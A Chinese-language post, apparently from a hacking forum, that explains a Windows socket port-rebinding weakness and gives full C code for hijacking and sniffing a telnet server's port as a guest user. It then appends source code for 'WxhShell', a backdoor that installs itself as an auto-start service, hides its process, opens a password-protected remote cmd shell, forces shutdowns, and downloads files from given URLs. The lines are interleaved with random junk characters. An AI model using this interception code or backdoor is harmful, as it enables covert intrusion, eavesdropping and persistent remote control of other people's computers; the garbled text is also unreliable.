在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0ZV)Y<DJ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
RfwTqw4@ X?.bE!3= saddr.sin_family = AF_INET;
[hS?d.D h tn2` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_|Ml6;1aZ szwXr bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6mBX{-Z[ LxVd7r VY6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+2w54X%?M zHB{I(q 这意味着什么?意味着可以进行如下的攻击:
= sIR[V'( W&4`eB/4} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.VmI4V?}h vmOXB#7W 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
K.R2)o` EBM\p+x& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
KW&&AuPb} q'2PG@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
RQU5T 2,
;?2vW8{p< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Ytx+7OLe J6 [x(T 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
GKY:"q&h J5Fg]O* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X{#@ :z$ >Fld7;L?< #include
#K!Df%,< #include
&J hN&Ur #include
(4 {49b #include
B0z.s+. DWORD WINAPI ClientThread(LPVOID lpParam);
^MJGY,r6b int main()
7^iF,N {
-t6d`p;dR WORD wVersionRequested;
p!aeL}g` DWORD ret;
Pz|qy, WSADATA wsaData;
I I>2\d|
BOOL val;
UWn}0:6t SOCKADDR_IN saddr;
c(#`z!FB SOCKADDR_IN scaddr;
-'PpY302 int err;
DAu|`pyC% SOCKET s;
N0vd>b SOCKET sc;
N^
D/}n int caddsize;
FOk @W& HANDLE mt;
U*&ZQw DWORD tid;
){YPP !8cI wVersionRequested = MAKEWORD( 2, 2 );
J82{PfQ" err = WSAStartup( wVersionRequested, &wsaData );
Jl]]nOBQ/ if ( err != 0 ) {
OaCL'! printf("error!WSAStartup failed!\n");
l(]\[}.5 return -1;
4G>|It }
2/7=@>| saddr.sin_family = AF_INET;
@eTsS%f2 q6Q=Zo@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
owMH Y$ChMf saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2 !;4mij, saddr.sin_port = htons(23);
:x{Q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xeI ,Kz." {
b(SV_.4,' printf("error!socket failed!\n");
<Y orQ> return -1;
r0X2cc }
\4j+pU val = TRUE;
}a9C/t3 //SO_REUSEADDR选项就是可以实现端口重绑定的
DYWC]* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&16bZw {
,{Ab=xV printf("error!setsockopt failed!\n");
*[SsvlFt return -1;
z$Nk\9wm }
tH'VV-!MZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
EORRSP,$2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
w//w$}v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Wl#^Eu\g1W N/%#GfXx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
b;t]k9:"L {
*n*y!z ret=GetLastError();
y[|g!9Rp printf("error!bind failed!\n");
t3GK{X return -1;
o 4b{>x }
yQA[X} listen(s,2);
MzG ryM- while(1)
%8*d)AB: {
iTt=aQjd caddsize = sizeof(scaddr);
$McO'Bye{h //接受连接请求
<!N;(nZ9}O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
1ZL_;k if(sc!=INVALID_SOCKET)
u W|x)g11a {
84!4Vz^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{^f0RGJg9 if(mt==NULL)
-7O/ed+ {
.cF$f4>2 printf("Thread Creat Failed!\n");
Ozv.;}SE break;
d8kwW!m+ }
2SJh6U }
9Bk}g50$# CloseHandle(mt);
~yi&wbTjM }
N 9&@,3 closesocket(s);
lkZC?--H WSACleanup();
k@aP&Z~ return 0;
FqsjuU@l }
M0zD)@ DWORD WINAPI ClientThread(LPVOID lpParam)
D&r8V;G[[ {
N ]7a= SOCKET ss = (SOCKET)lpParam;
qE72(#:R* SOCKET sc;
.:ZXtU unsigned char buf[4096];
<PN;D#2bh SOCKADDR_IN saddr;
|<|,RI? long num;
%gMpV DWORD val;
(YJAT DWORD ret;
0o|,& K //如果是隐藏端口应用的话,可以在此处加一些判断
=+h!JgY/L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=(X'c.%i saddr.sin_family = AF_INET;
b<(UmRxx3 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4<g72| y saddr.sin_port = htons(23);
;]M67ma7C if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+Jka :]MW! {
GLQvAHC printf("error!socket failed!\n");
Hs}"A,V return -1;
r)5\3j[P }
!(_xu{(DL val = 100;
U\8#Qvghf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A4Q)YY9~ {
f5GR#3-h( ret = GetLastError();
!-RpRRR[Co return -1;
a61eH )a }
^1,Eo2yN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m=iov2K> {
a^T4\ ret = GetLastError();
y]YS2^ return -1;
fd"~[z [ }
c^Gwri4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
31sgf5 s {
T{H#]BF<E printf("error!socket connect failed!\n");
Fl+tbF closesocket(sc);
a H|OA\< closesocket(ss);
7k t7^V< return -1;
]AC!R{H }
&Y>~^$`J while(1)
h NOYFH {
Go+xL/f //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Y5i`pY/}#? //如果是嗅探内容的话,可以再此处进行内容分析和记录
7YXXkdgbd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
v*'iWHCl, num = recv(ss,buf,4096,0);
LB*# if(num>0)
h
GA0F9.U send(sc,buf,num,0);
ilRm}lU|x else if(num==0)
;p#Z :6 break;
So\| Ye num = recv(sc,buf,4096,0);
-m'3L7: if(num>0)
y|+~>'^JR send(ss,buf,num,0);
i3 l #~ else if(num==0)
^Q)gsJY|I break;
@Uj_+c
q }
6KCCbg/ closesocket(ss);
rGn5QV closesocket(sc);
%I|+_ z&x return 0 ;
lGnql 1( }
3dxnh,]&@ %$Jqt _5U%'\5s ==========================================================
Ef_F#X0# Wq{d8|)1 下边附上一个代码,,WXhSHELL
c6Yf"~TD0 6h:?u4 ==========================================================
/_:T\`5uO }KD7 Y #include "stdafx.h"
LG Y!j_bD zh{@?k #include <stdio.h>
m[@%{ #include <string.h>
*_{l #include <windows.h>
PV]k3&y #include <winsock2.h>
:?$Sb8OuIL #include <winsvc.h>
E*r #include <urlmon.h>
0V>ESyae5 s}[A4`EWH #pragma comment (lib, "Ws2_32.lib")
~E<PtDab #pragma comment (lib, "urlmon.lib")
(DG@<K,6 `bZ2x@ #define MAX_USER 100 // 最大客户端连接数
h+B'_`( #define BUF_SOCK 200 // sock buffer
1Es*=zg #define KEY_BUFF 255 // 输入 buffer
k%Ma4_Z 2xL!PR- #define REBOOT 0 // 重启
*w'q #define SHUTDOWN 1 // 关机
B8cBQ v xs2,t*
#define DEF_PORT 5000 // 监听端口
F=-uDtQ<N 6Q.{llO #define REG_LEN 16 // 注册表键长度
g+ >=C #define SVC_LEN 80 // NT服务名长度
D0Vyh"ua
}@rg5$W // 从dll定义API
D4=..; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fCt^FU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
.6O52E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
C=oM,[ESQ0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
XD$% 1a($8> // wxhshell配置信息
T:K" struct WSCFG {
P3>..fhoW int ws_port; // 监听端口
h`
irO5 char ws_passstr[REG_LEN]; // 口令
qYgwyj=4 int ws_autoins; // 安装标记, 1=yes 0=no
Z&+NmOY4 char ws_regname[REG_LEN]; // 注册表键名
*3A3>Rwu char ws_svcname[REG_LEN]; // 服务名
z+3<$Z char ws_svcdisp[SVC_LEN]; // 服务显示名
54
M!Fq- char ws_svcdesc[SVC_LEN]; // 服务描述信息
2Ueq6IuQ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d] b~)!VW int ws_downexe; // 下载执行标记, 1=yes 0=no
W]@gQ(Ef char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:r1;}hIA9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`ir&]jh.A "rme~w Di };
'i@,~[Z4 [D*J[?yt // default Wxhshell configuration
1% $d D2 struct WSCFG wscfg={DEF_PORT,
t$U3|r "xuhuanlingzhe",
9
9Ba{qj 1,
;j>*;Q` "Wxhshell",
u]
F70C^~ "Wxhshell",
6B7< "WxhShell Service",
5h_<R!jA "Wrsky Windows CmdShell Service",
>Y7r\ "Please Input Your Password: ",
?j1_
n,d 1,
`^v4zWDK "
http://www.wrsky.com/wxhshell.exe",
8|1`Tn}o "Wxhshell.exe"
c u\ls^ };
uY.=4l Sa%zre@ // 消息定义模块
@bY('gC, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\n[
392 char *msg_ws_prompt="\n\r? for help\n\r#>";
r8IX/ , char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
lkV6qIj char *msg_ws_ext="\n\rExit.";
.qSBh
hH\ char *msg_ws_end="\n\rQuit.";
LYp'vZ! char *msg_ws_boot="\n\rReboot...";
xKY$L* char *msg_ws_poff="\n\rShutdown...";
~_'0]P\ char *msg_ws_down="\n\rSave to ";
y)6,0K {k dSwm|kIa char *msg_ws_err="\n\rErr!";
PKi_Zh.D char *msg_ws_ok="\n\rOK!";
I^WIa"u_ >4,{6<| char ExeFile[MAX_PATH];
Iph3%RaE
int nUser = 0;
L'>s(CR HANDLE handles[MAX_USER];
_)Qy4[S=d int OsIsNt;
>[a FOA $Z/klSEf SERVICE_STATUS serviceStatus;
mKV'jm0 SERVICE_STATUS_HANDLE hServiceStatusHandle;
:v`o6x8 \3r3{X
_<` // 函数声明
^Z2kq2}a int Install(void);
2A*/C7 int Uninstall(void);
hL0]R,t;' int DownloadFile(char *sURL, SOCKET wsh);
$'^&\U~? int Boot(int flag);
prZ55MS. void HideProc(void);
&} ,*\Oj int GetOsVer(void);
{1~9vHAZ int Wxhshell(SOCKET wsl);
VMx%1^/( void TalkWithClient(void *cs);
.8]Y- int CmdShell(SOCKET sock);
GJX4KA8J int StartFromService(void);
Y~az!8j;Z int StartWxhshell(LPSTR lpCmdLine);
}'lNi^"XL *wwhZe4V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&eIGF1ws VOID WINAPI NTServiceHandler( DWORD fdwControl );
@&5 A&( :7\9xH // 数据结构和表定义
eaQ90B4 SERVICE_TABLE_ENTRY DispatchTable[] =
+vz`go {
~n6[$WjZA {wscfg.ws_svcname, NTServiceMain},
k5@d! }#c {NULL, NULL}
2Pp&d>E4 };
{rC~P .B>B`q;B // 自我安装
O6iCZ int Install(void)
@rO4y` {
kM!V.e[g char svExeFile[MAX_PATH];
v)):$s?WB HKEY key;
o'Pu'y strcpy(svExeFile,ExeFile);
w>qCg XU3
cOkgoL" 4 // 如果是win9x系统,修改注册表设为自启动
/BpxKh2p if(!OsIsNt) {
x l0DN{PG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
55-D\n< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PKA }zZ RegCloseKey(key);
u g\w\b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q.k
:\m*h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?+r!z RegCloseKey(key);
5h8o4 return 0;
$D'^t( }
,=o0BD2q }
.0|=[| }
v7IzDz6gF else {
st/n"HQ X
\f[ // 如果是NT以上系统,安装为系统服务
s
/%:dnij SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
H{V)g if (schSCManager!=0)
++8_fgM {
\iU] s\{). SC_HANDLE schService = CreateService
"&lN\&: (
g:<? schSCManager,
#tjmWGo, wscfg.ws_svcname,
}q!_!q,@ wscfg.ws_svcdisp,
phP>3f.T SERVICE_ALL_ACCESS,
9`"DFFSMS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*Oo &}oAj SERVICE_AUTO_START,
*8)2iv4[ SERVICE_ERROR_NORMAL,
GK{{ 7B svExeFile,
d~*TIN8Ke~ NULL,
0oU=RbC NULL,
dqe7s Zl! NULL,
a<m-V&4x NULL,
?a.+j8pbGg NULL
?4[H]BK );
R Fko>d if (schService!=0)
DQJG,?e{ {
t`|,6qEG CloseServiceHandle(schService);
&~-~5B|3" CloseServiceHandle(schSCManager);
Ip?]K*sq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2~c~{ jl\ strcat(svExeFile,wscfg.ws_svcname);
8Fq_i-u if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K:5eek RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;sPzOS9 RegCloseKey(key);
}$gmK return 0;
D59T?B|BdD }
hI|)u4q }
'Qn~H[$/p CloseServiceHandle(schSCManager);
A6UO0lyu }
^_>!B) }
!/I0i8T m)&znLA return 1;
Llz['"m }
Q M1F?F NZXjE$<Vr // 自我卸载
IA*KaX2S< int Uninstall(void)
.%xzT J=! {
P $>` HKEY key;
68t}w^= :w-`PYJ%G if(!OsIsNt) {
H{fM%*w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WDx
Mo`zT RegDeleteValue(key,wscfg.ws_regname);
j9y3hQ+q RegCloseKey(key);
B0)]s<< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jO'|mGUM RegDeleteValue(key,wscfg.ws_regname);
~OFvu}] RegCloseKey(key);
hW2.8f$ return 0;
V@ :20m }
\2X$C#8E }
6yIvaY$KR }
=mt?Cn} else {
`
2%6V)s n9hm790x- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
RKkGITDk if (schSCManager!=0)
faJM^ u {
m],Ud\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
f7<pEGb if (schService!=0)
pSAR/':eg {
TI9X.E? if(DeleteService(schService)!=0) {
t[C1z CloseServiceHandle(schService);
(Mt5 P CloseServiceHandle(schSCManager);
FJS'G^ return 0;
LAs7>hM }
jBtj+TL8 CloseServiceHandle(schService);
1'KishHK= }
clDHTj=~ CloseServiceHandle(schSCManager);
cCdX0@hY }
lrEj/"M }
VcgBLkIF &a)vdlZSE= return 1;
1~5trsB+5 }
\M+L3*W jX
*/piSq // 从指定url下载文件
'Cg{_z.~c int DownloadFile(char *sURL, SOCKET wsh)
c{3rl;Cs {
3C^1frF HRESULT hr;
UH3t(o7O char seps[]= "/";
{]/8skov5] char *token;
yfe'>]7 char *file;
>)4YP*qIPb char myURL[MAX_PATH];
FxU'LN<;HY char myFILE[MAX_PATH];
h'5Cp(G tS?lB05TOR strcpy(myURL,sURL);
SS3-+<z token=strtok(myURL,seps);
l[Z)@bC1 while(token!=NULL)
O.+9,4A( {
H5xzD9K;/C file=token;
:,UN8L " token=strtok(NULL,seps);
iS: #o> }
~L?nq@DL 9]yW_]P GetCurrentDirectory(MAX_PATH,myFILE);
l(kr'x strcat(myFILE, "\\");
u<Xog$esu strcat(myFILE, file);
S*t%RZ~a send(wsh,myFILE,strlen(myFILE),0);
/L~m#HxWU send(wsh,"...",3,0);
;A#~`P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=!0I_L/ if(hr==S_OK)
P]6}\
]~ return 0;
AtHS@p else
Z85|I.mr return 1;
!1:@8q kW-81 }
8Qrpa o ^R_e // 系统电源模块
K{DAOQ.z int Boot(int flag)
")`S0n5e {
;VzMU ;j HANDLE hToken;
])T/sO#' TOKEN_PRIVILEGES tkp;
]0~qi@ S+I^!gT if(OsIsNt) {
#Z9L_gDp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
s>[{}7ca LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
XAD3Z? tkp.PrivilegeCount = 1;
vjlGX T`m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
v59nw]' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
l)|lTOjb if(flag==REBOOT) {
O|z%DkH[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
C0m\SNR return 0;
]+%=@mWYs }
p:[LnL else {
->oz# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#A<"4#} return 0;
S+T|a:]\7 }
n0fR u`SNV }
,"G\f1 else {
uxDLDA$; if(flag==REBOOT) {
z`#_F}v,m/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
i21QJ6jPcI return 0;
3M
N }
dY'Y5Th~ else {
" $)yB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
e\N0@ return 0;
}$aNOf%: }
'JZ_ }
8S>>7z!U Rx S884 return 1;
3$_2weZxYn }
>q9{ JDhwN<0R // win9x进程隐藏模块
$u5.!{Wq? void HideProc(void)
Xj,j0 {
AbY;H EfSMFPM
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^
f{qJ[, if ( hKernel != NULL )
shK&2Noan {
v"
FO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
wE2x:Ge: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[V5-%w^ FreeLibrary(hKernel);
065A?KyD }
2np-Fc{S eT\p-4b return;
J/7u7_ }
"1%*'B^}bw t>oM%/H // 获取操作系统版本
_IKQ36= int GetOsVer(void)
H%T3Pc {
2Q
3/-R OSVERSIONINFO winfo;
k4mTZ}6E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
/MxCvEE GetVersionEx(&winfo);
i*A$SJ:} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ee\Gl?VN return 1;
u[J7Y else
6#-Z@fz% return 0;
5j1 IH,yW }
%w@ig~vD' auoA // 客户端句柄模块
-W6V,+of int Wxhshell(SOCKET wsl)
gQCC>8 {
4sQ~&@[Q+ SOCKET wsh;
jL2MW(d^Q struct sockaddr_in client;
qIk
)'!Vk DWORD myID;
%9.bu|`KK
,gx$U@0Z while(nUser<MAX_USER)
l58l {
C}bPv+t int nSize=sizeof(client);
LA>dkPB wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
yOM
-;h if(wsh==INVALID_SOCKET) return 1;
|:/ @t +E `063 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
G dL4|xv if(handles[nUser]==0)
\O,j}O' closesocket(wsh);
@US '{hO1p else
?({Pc F/ nUser++;
>sB=\ }
{<~s&EPd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
8Q)y%7{6 _i#@t7 return 0;
7dsnv)(v }
?WMi S]Q\ s2wwmtUCN // 关闭 socket
dUUPhk0 void CloseIt(SOCKET wsh)
[v~Uy$d\ {
JO]`LF] closesocket(wsh);
0FN~$+t)H nUser--;
4bFv"b ExitThread(0);
1h&)I%`? }
)3+xsn v rZb_1E< // 客户端请求句柄
5J?bE?X void TalkWithClient(void *cs)
@m }rQT {
o&*1U"6D 0<6rU SOCKET wsh=(SOCKET)cs;
G >I. char pwd[SVC_LEN];
5mDVFb 3a char cmd[KEY_BUFF];
/QM0.{Ypl char chr[1];
q^Q|.&_k / int i,j;
ZY~zpC_ b0rt.XB while (nUser < MAX_USER) {
{^2({A#& G}Q}H* if(wscfg.ws_passstr) {
]JGKL5~p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,dGFX]P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'|h./.K //ZeroMemory(pwd,KEY_BUFF);
ghE?8&@ iq i=0;
*8pe<:A#p while(i<SVC_LEN) {
S"I#>^ z{7,.S
u // 设置超时
9`hpa-m@ fd_set FdRead;
>'BU* struct timeval TimeOut;
>Rx8 0 FD_ZERO(&FdRead);
2_B; FD_SET(wsh,&FdRead);
3D[:Rf[ TimeOut.tv_sec=8;
YA1{-7'Q TimeOut.tv_usec=0;
vV\/pu8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Sm~? zU[k/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Q&:92f\y %-0em!tUV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
H>@JfYZ0 pwd
=chr[0]; A3<P li
if(chr[0]==0xd || chr[0]==0xa) { PW~cqo B71
pwd=0; Wb*T
break; qHcY
2LV
} (STWAwK-
i++; *$*nY [/5
} y.TdWnXx
c@"i?
// 如果是非法用户,关闭 socket 7J)a "d^e
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b ?=
} `tUeT[
_bvtJZ3i
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e!L sc3@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?U2g8D nFY
"' i [~
while(1) { &6~ncQWu
SOi(5]
ZeroMemory(cmd,KEY_BUFF); d}^:E
`Q!FMv6Y^
// 自动支持客户端 telnet标准 BLYk
<m
j=0; lD+y,";
while(j<KEY_BUFF) { ;d'O. i=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1)c=15^
cmd[j]=chr[0]; FC/>L
if(chr[0]==0xa || chr[0]==0xd) { [{d[f|
cmd[j]=0; S+bWD7
break; [fJFH^&?hr
} .k?hb]2N
j++; pCud`
:o"
} |Jx2"0:M
$=6kh+n@
// 下载文件 UmHJ/DI@
if(strstr(cmd,"http://")) { 5{x[EXE'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;7hX0AK
if(DownloadFile(cmd,wsh)) ]jT[dX|?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p|O-I&Xd
else @kgpq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2l}FgD
} ef1N#z%gt
else { @#O|
:_b
=Km<
switch(cmd[0]) { U Y?]\4Om
QIxJFr;>
// 帮助 "Qm~;x2kB
case '?': { <45dy5!Tz
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <`VJU2
break; t1_y1!uQ
} GlkAJe]
// 安装 (H|d 3
case 'i': { {bsr
9.k(
if(Install()) l`w|o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J$=b&$I(
else
j9
&AMg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )T~ +>+t
break; sOtNd({
} /)OO)B-r
// 卸载 |$*9j""u
case 'r': { . R8W<
if(Uninstall()) HFCFEamBMP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1*`JcUn,>
else 'H-YFB$l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PI<s5bns
{
break; F#C 6.`B
} lNp:2P
// 显示 wxhshell 所在路径 `uJ l<kHI
case 'p': { _(A+_|
char svExeFile[MAX_PATH]; s/'h LkxI
strcpy(svExeFile,"\n\r"); -tdON
strcat(svExeFile,ExeFile); b(rBha|
send(wsh,svExeFile,strlen(svExeFile),0); 0JWD] "
break; :usBeho
} G5@fqh6ws
// 重启 ]R.Vq\A%S
case 'b': { 9%'HB\A
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uN^qfJ'@
>
if(Boot(REBOOT)) lkJ#$Ik&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zpQ/E
else { qk{UO
<
closesocket(wsh); -2u+m
ExitThread(0); +?g,&NE
} -Ce4px?3
break; TVh7h`Eg
} c15^<6]g
// 关机 F[giq1#
case 'd': { :1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [ESs?v$
if(Boot(SHUTDOWN)) `-`iS?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |(8h:g
else { 'r <BaL
closesocket(wsh); w)>z3Lm
ExitThread(0); PSw+E';
} a^1c _
break; q`K-T_<
} %QZ!Tb
// 获取shell l\y*wr`
case 's': { oYM3$.{E
CmdShell(wsh); Xr;noV-X
closesocket(wsh); 0cU^ue%
ExitThread(0); 6spk* 8e
break; DLM9o3/*J
} vrDRSc6_
// 退出 1! [bu
case 'x': { 2g545r.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6)YNjh.{*
CloseIt(wsh); NX", e=
break; NUtyUv
} *<j @+Ch
// 离开 ',%&DA2
case 'q': { hjT1SW\I
send(wsh,msg_ws_end,strlen(msg_ws_end),0); d9( Sj?
closesocket(wsh); z1 px^#
WSACleanup(); Kn\(Xd.>
exit(1); :*nBo
break; sYgnH:t X
} : seL=
} 4!qDG+m
} !AHm+C_=Lg
Qq`\C0RZ
// 提示信息 KYW1<Wcp
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8PS:yBkA|
} {`zF{AW8q
} f}!26[_9{
__c_JU
return; 'E,Yht=/}
} .).<L`q
i%
lB
U1
// shell模块句柄 \ChcJth@o<
int CmdShell(SOCKET sock) d(Ou\7
{ ".ZiR7Z:$Y
STARTUPINFO si; t}gqk'
ZeroMemory(&si,sizeof(si)); 'a*IZb-M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k 'b|#c9c
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w}b+vh^3Wy
PROCESS_INFORMATION ProcessInfo; 'wt|buu-H
char cmdline[]="cmd"; 7mNskb|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BI]t}7
return 0; uNg.y$>CX
} XQ+hTtP
e>)5j1
// 自身启动模式 0=DawJ9
int StartFromService(void) K_}acU
{ <|iU+.j\
typedef struct Mw.+0R!T
{ B=Os?'2[
DWORD ExitStatus; 78-:hk
DWORD PebBaseAddress; s qKkTG3
DWORD AffinityMask; |O?Aj1g[c?
DWORD BasePriority;
"kC>EtaX
ULONG UniqueProcessId; A9gl|II
ULONG InheritedFromUniqueProcessId; {Se93o
} PROCESS_BASIC_INFORMATION; 9E+lriyY
-(G2@NG
